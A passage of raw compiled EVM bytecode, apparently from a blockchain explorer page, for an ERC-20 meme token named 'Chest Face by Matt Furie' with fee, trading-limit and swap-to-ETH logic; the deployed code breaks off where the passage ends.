3600b8190555082600c8190555081600d8190555080600e819055508183857f16e6f67290546b8dd0e587f4b7f67d4f61932ae17ffd8c60d3509dbc05c175fe84604051610f85919061279f565b60405180910390a450505050565b610f9b611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f906129bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612a4d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c290612adf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361123a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123190612b71565b60405180910390fd5b80601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611318919061279f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b90612c03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90612c95565b60405180910390fd5b60008111611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90612d27565b60405180910390fd5b601760149054906101000a900460ff16806114935750611464610c19565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114d057506114a1610c19565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b61150f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150690612d93565b60405180910390fd5b611517610c19565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115855750611555610c19565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611805576005548111156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690612dff565b60405180910390fd5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461167c576006548161163184610972565b61163b9190612e4e565b1061167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290612ef4565b60405180910390fd5b5b600061168730610972565b90506000600454821015905060055482106116a25760055491505b8080156116bc5750601760159054906101000a900460ff16155b80156117165750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561172e5750601760169054906101000a900460ff165b80156117845750601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117da5750601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611802576117e882611b4b565b60004790506000811115611800576117ff47611ab7565b5b505b50505b600060019050601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ac5750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118ba5760009050611a41565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119655750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561197d57600b54600781905550600c546008819055505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a285750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a4057600d54600781905550600e546008819055505b5b611a4d84848484611ddd565b50505050565b6000838311158290611a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9291906125a5565b60405180910390fd5b5060008385611aaa9190612f14565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b1f573d6000803e3d6000fd5b5050565b600080611b2e611e0a565b9050611b438184611e3590919063ffffffff16565b915050919050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b8357611b82612f48565b5b604051908082528060200260200182016040528015611bb15781602001602082028036833780820191505090505b5090503081600081518110611bc957611bc8612f77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c949190612fbb565b81600181518110611ca857611ca7612f77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0f30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461115c565b60048054611d1d9190612fe8565b8210611d2857600080fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d8c959493929190613123565b600060405180830381600087803b158015611da657600080fd5b505af1158015611dba573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b80611deb57611dea611e7f565b5b611df6848484611ec4565b80611e0457611e0361208f565b5b50505050565b6000806000611e176120ab565b91509150611e2e8183611e3590919063ffffffff16565b9250505090565b6000611e7783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061210a565b905092915050565b6000600754148015611e9357506000600854145b611ec2576007546002819055506008546003819055506000600a81905550600060078190555060006008819055505b565b600080600080600080611ed68761216d565b955095509550955095509550611f3486600f60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fc985600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600f60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120158161227d565b61201f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161207c919061279f565b60405180910390a3505050505050505050565b6002546007819055506003546008819055506064600a81905550565b600080600060095490506000670de0b6b3a764000090506120df670de0b6b3a7640000600954611e3590919063ffffffff16565b8210156120fd57600954670de0b6b3a7640000935093505050612106565b81819350935050505b9091565b60008083118290612151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214891906125a5565b60405180910390fd5b506000838561216091906131ac565b9050809150509392505050565b600080600080600080600080600061218a8a600754600854612359565b925092509250600061219a611e0a565b905060008060006121ad8e8787876123ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a53565b905092915050565b600080828461222e9190612e4e565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90613229565b60405180910390fd5b8091505092915050565b6000612287611e0a565b9050600061229e828461249b90919063ffffffff16565b90506122f281600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826009546121d590919063ffffffff16565b6009819055505050565b6000806000806123856064612377888a61249b90919063ffffffff16565b611e3590919063ffffffff16565b905060006123af60646123a1888b61249b90919063ffffffff16565b611e3590919063ffffffff16565b905060006123d8826123ca858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612408858961249b90919063ffffffff16565b9050600061241f868961249b90919063ffffffff16565b90506000612436878961249b90919063ffffffff16565b9050600061245f8261245185876121d590919063ffffffff16565b6121d590919063ffffffff16565b90506000600a5414801561247a5750670de0b6b3a76400008b115b1561248457600093505b838184965096509650505050509450945094915050565b60008083036124ad576000905061250f565b600082846124bb9190612fe8565b90508284826124ca91906131ac565b1461250a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612501906132bb565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561254f578082015181840152602081019050612534565b60008484015250505050565b6000601f19601f8301169050919050565b600061257782612515565b6125818185612520565b9350612591818560208601612531565b61259a8161255b565b840191505092915050565b600060208201905081810360008301526125bf818461256c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125f7826125cc565b9050919050565b612607816125ec565b811461261257600080fd5b50565b600081359050612624816125fe565b92915050565b6000819050919050565b61263d8161262a565b811461264857600080fd5b50565b60008135905061265a81612634565b92915050565b60008060408385031215612677576126766125c7565b5b600061268585828601612615565b92505060206126968582860161264b565b9150509250929050565b60008115159050919050565b6126b5816126a0565b82525050565b60006020820190506126d060008301846126ac565b92915050565b600080604083850312156126ed576126ec6125c7565b5b60006126fb8582860161264b565b925050602061270c8582860161264b565b9150509250929050565b6000819050919050565b600061273b612736612731846125cc565b612716565b6125cc565b9050919050565b600061274d82612720565b9050919050565b600061275f82612742565b9050919050565b61276f81612754565b82525050565b600060208201905061278a6000830184612766565b92915050565b6127998161262a565b82525050565b60006020820190506127b46000830184612790565b92915050565b6000806000606084860312156127d3576127d26125c7565b5b60006127e186828701612615565b93505060206127f286828701612615565b92505060406128038682870161264b565b9150509250925092565b600060ff82169050919050565b6128238161280d565b82525050565b600060208201905061283e600083018461281a565b92915050565b61284d816125ec565b82525050565b60006020820190506128686000830184612844565b92915050565b600060208284031215612884576128836125c7565b5b600061289284828501612615565b91505092915050565b6000602082840312156128b1576128b06125c7565b5b60006128bf8482850161264b565b91505092915050565b600080604083850312156128df576128de6125c7565b5b60006128ed85828601612615565b92505060206128fe85828601612615565b9150509250929050565b60008060008060808587031215612922576129216125c7565b5b60006129308782880161264b565b94505060206129418782880161264b565b93505060406129528782880161264b565b92505060606129638782880161264b565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129a5602083612520565b91506129b08261296f565b602082019050919050565b600060208201905081810360008301526129d481612998565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612a37602683612520565b9150612a42826129db565b604082019050919050565b60006020820190508181036000830152612a6681612a2a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ac9602483612520565b9150612ad482612a6d565b604082019050919050565b60006020820190508181036000830152612af881612abc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b5b602283612520565b9150612b6682612aff565b604082019050919050565b60006020820190508181036000830152612b8a81612b4e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612bed602583612520565b9150612bf882612b91565b604082019050919050565b60006020820190508181036000830152612c1c81612be0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c7f602383612520565b9150612c8a82612c23565b604082019050919050565b60006020820190508181036000830152612cae81612c72565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d11602983612520565b9150612d1c82612cb5565b604082019050919050565b60006020820190508181036000830152612d4081612d04565b9050919050565b7f54726164696e67206973206e6f74206f70656e00000000000000000000000000600082015250565b6000612d7d601383612520565b9150612d8882612d47565b602082019050919050565b60006020820190508181036000830152612dac81612d70565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612de9601c83612520565b9150612df482612db3565b602082019050919050565b60006020820190508181036000830152612e1881612ddc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e598261262a565b9150612e648361262a565b9250828201905080821115612e7c57612e7b612e1f565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612ede602383612520565b9150612ee982612e82565b604082019050919050565b60006020820190508181036000830152612f0d81612ed1565b9050919050565b6000612f1f8261262a565b9150612f2a8361262a565b9250828203905081811115612f4257612f41612e1f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612fb5816125fe565b92915050565b600060208284031215612fd157612fd06125c7565b5b6000612fdf84828501612fa6565b91505092915050565b6000612ff38261262a565b9150612ffe8361262a565b925082820261300c8161262a565b9150828204841483151761302357613022612e1f565b5b5092915050565b6000819050919050565b600061304f61304a6130458461302a565b612716565b61262a565b9050919050565b61305f81613034565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61309a816125ec565b82525050565b60006130ac8383613091565b60208301905092915050565b6000602082019050919050565b60006130d082613065565b6130da8185613070565b93506130e583613081565b8060005b838110156131165781516130fd88826130a0565b9750613108836130b8565b9250506001810190506130e9565b5085935050505092915050565b600060a0820190506131386000830188612790565b6131456020830187613056565b818103604083015261315781866130c5565b90506131666060830185612844565b6131736080830184612790565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006131b78261262a565b91506131c28361262a565b9250826131d2576131d161317d565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613213601b83612520565b915061321e826131dd565b602082019050919050565b6000602082019050818103600083015261324281613206565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006132a5602183612520565b91506132b082613249565b604082019050919050565b600060208201905081810360008301526132d481613298565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f7b579708d12cce6ad08cf6cda1f549b0a76518693004147c66da82763547d9d64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063a9059cbb1161008a578063da7003d411610064578063da7003d4146104ef578063dd62ed3e1461051a578063ef7a37ea14610557578063f2fde38b1461058057610171565b8063a9059cbb14610472578063ba5ff6a9146104af578063c3c8cd80146104d857610171565b8063715018a614610386578063751039fc1461039d5780637f2feddc146103b457806382247ec0146103f15780638da5cb5b1461041c57806395d89b411461044757610171565b8063293230b811610123578063293230b81461029a5780632fd689e3146102b1578063313ce567146102dc57806349bd5a5e146103075780636fc3eaec1461033257806370a082311461034957610171565b806306fdde0314610176578063095ea7b3146101a157806315757735146101de5780631694505e1461020757806318160ddd1461023257806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105a9565b60405161019891906125a5565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612660565b6105e6565b6040516101d591906126bb565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906126d6565b610604565b005b34801561021357600080fd5b5061021c6106ab565b6040516102299190612775565b60405180910390f35b34801561023e57600080fd5b506102476106d1565b604051610254919061279f565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f91906127ba565b6106e1565b60405161029191906126bb565b60405180910390f35b3480156102a657600080fd5b506102af6107ba565b005b3480156102bd57600080fd5b506102c661086c565b6040516102d3919061279f565b60405180910390f35b3480156102e857600080fd5b506102f1610872565b6040516102fe9190612829565b60405180910390f35b34801561031357600080fd5b5061031c61087b565b6040516103299190612853565b60405180910390f35b34801561033e57600080fd5b506103476108a1565b005b34801561035557600080fd5b50610370600480360381019061036b919061286e565b610972565b60405161037d919061279f565b60405180910390f35b34801561039257600080fd5b5061039b6109c3565b005b3480156103a957600080fd5b506103b2610b16565b005b3480156103c057600080fd5b506103db60048036038101906103d6919061286e565b610bfb565b6040516103e8919061279f565b60405180910390f35b3480156103fd57600080fd5b50610406610c13565b604051610413919061279f565b60405180910390f35b34801561042857600080fd5b50610431610c19565b60405161043e9190612853565b60405180910390f35b34801561045357600080fd5b5061045c610c42565b60405161046991906125a5565b60405180910390f35b34801561047e57600080fd5b5061049960048036038101906104949190612660565b610c7f565b6040516104a691906126bb565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d1919061289b565b610c9d565b005b3480156104e457600080fd5b506104ed610d3c565b005b3480156104fb57600080fd5b50610504610e15565b604051610511919061279f565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c91906128c8565b610e1b565b60405161054e919061279f565b60405180910390f35b34801561056357600080fd5b5061057e60048036038101906105799190612908565b610ea2565b005b34801561058c57600080fd5b506105a760048036038101906105a2919061286e565b610f93565b005b60606040518060400160405280601881526020017f43686573742046616365206279204d6174742046757269650000000000000000815250905090565b60006105fa6105f3611154565b848461115c565b6001905092915050565b61060c611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610690906129bb565b60405180910390fd5b81600581905550806006819055505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006106ee848484611325565b6107af846106fa611154565b6107aa856040518060600160405280602881526020016132dc60289139601160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610760611154565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a539092919063ffffffff16565b61115c565b600190509392505050565b6107c2611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906129bb565b60405180910390fd5b6001601760146101000a81548160ff021916908315150217905550565b60045481565b60006009905090565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e2611154565b73ffffffffffffffffffffffffffffffffffffffff1614806109585750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610940611154565b73ffffffffffffffffffffffffffffffffffffffff16145b61096157600080fd5b600047905061096f81611ab7565b50565b60006109bc600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b23565b9050919050565b6109cb611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4f906129bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b1e611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba2906129bb565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6005819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600681905550565b60136020528060005260406000206000915090505481565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4348455354464143450000000000000000000000000000000000000000000000815250905090565b6000610c93610c8c611154565b8484611325565b6001905092915050565b610ca5611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d29906129bb565b60405180910390fd5b8060048190555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7d611154565b73ffffffffffffffffffffffffffffffffffffffff161480610df35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ddb611154565b73ffffffffffffffffffffffffffffffffffffffff16145b610dfc57600080fd5b6000610e0730610972565b9050610e1281611b4b565b50565b60055481565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610eaa611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e906129bb565b60405180910390fd5b83600b8190555082600c8190555081600d8190555080600e819055508183857f16e6f67290546b8dd0e587f4b7f67d4f61932ae17ffd8c60d3509dbc05c175fe84604051610f85919061279f565b60405180910390a450505050565b610f9b611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f906129bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612a4d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c290612adf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361123a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123190612b71565b60405180910390fd5b80601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611318919061279f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b90612c03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90612c95565b60405180910390fd5b60008111611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90612d27565b60405180910390fd5b601760149054906101000a900460ff16806114935750611464610c19565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114d057506114a1610c19565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b61150f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150690612d93565b60405180910390fd5b611517610c19565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115855750611555610c19565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611805576005548111156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690612dff565b60405180910390fd5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461167c576006548161163184610972565b61163b9190612e4e565b1061167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290612ef4565b60405180910390fd5b5b600061168730610972565b90506000600454821015905060055482106116a25760055491505b8080156116bc5750601760159054906101000a900460ff16155b80156117165750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561172e5750601760169054906101000a900460ff165b80156117845750601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117da5750601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611802576117e882611b4b565b60004790506000811115611800576117ff47611ab7565b5b505b50505b600060019050601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ac5750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118ba5760009050611a41565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119655750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561197d57600b54600781905550600c546008819055505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a285750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a4057600d54600781905550600e546008819055505b5b611a4d84848484611ddd565b50505050565b6000838311158290611a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9291906125a5565b60405180910390fd5b5060008385611aaa9190612f14565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b1f573d6000803e3d6000fd5b5050565b600080611b2e611e0a565b9050611b438184611e3590919063ffffffff16565b915050919050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b8357611b82612f48565b5b604051908082528060200260200182016040528015611bb15781602001602082028036833780820191505090505b5090503081600081518110611bc957611bc8612f77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c949190612fbb565b81600181518110611ca857611ca7612f77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0f30601660009054906101000a900473fffffffffffffffffffffffffffffffffffffff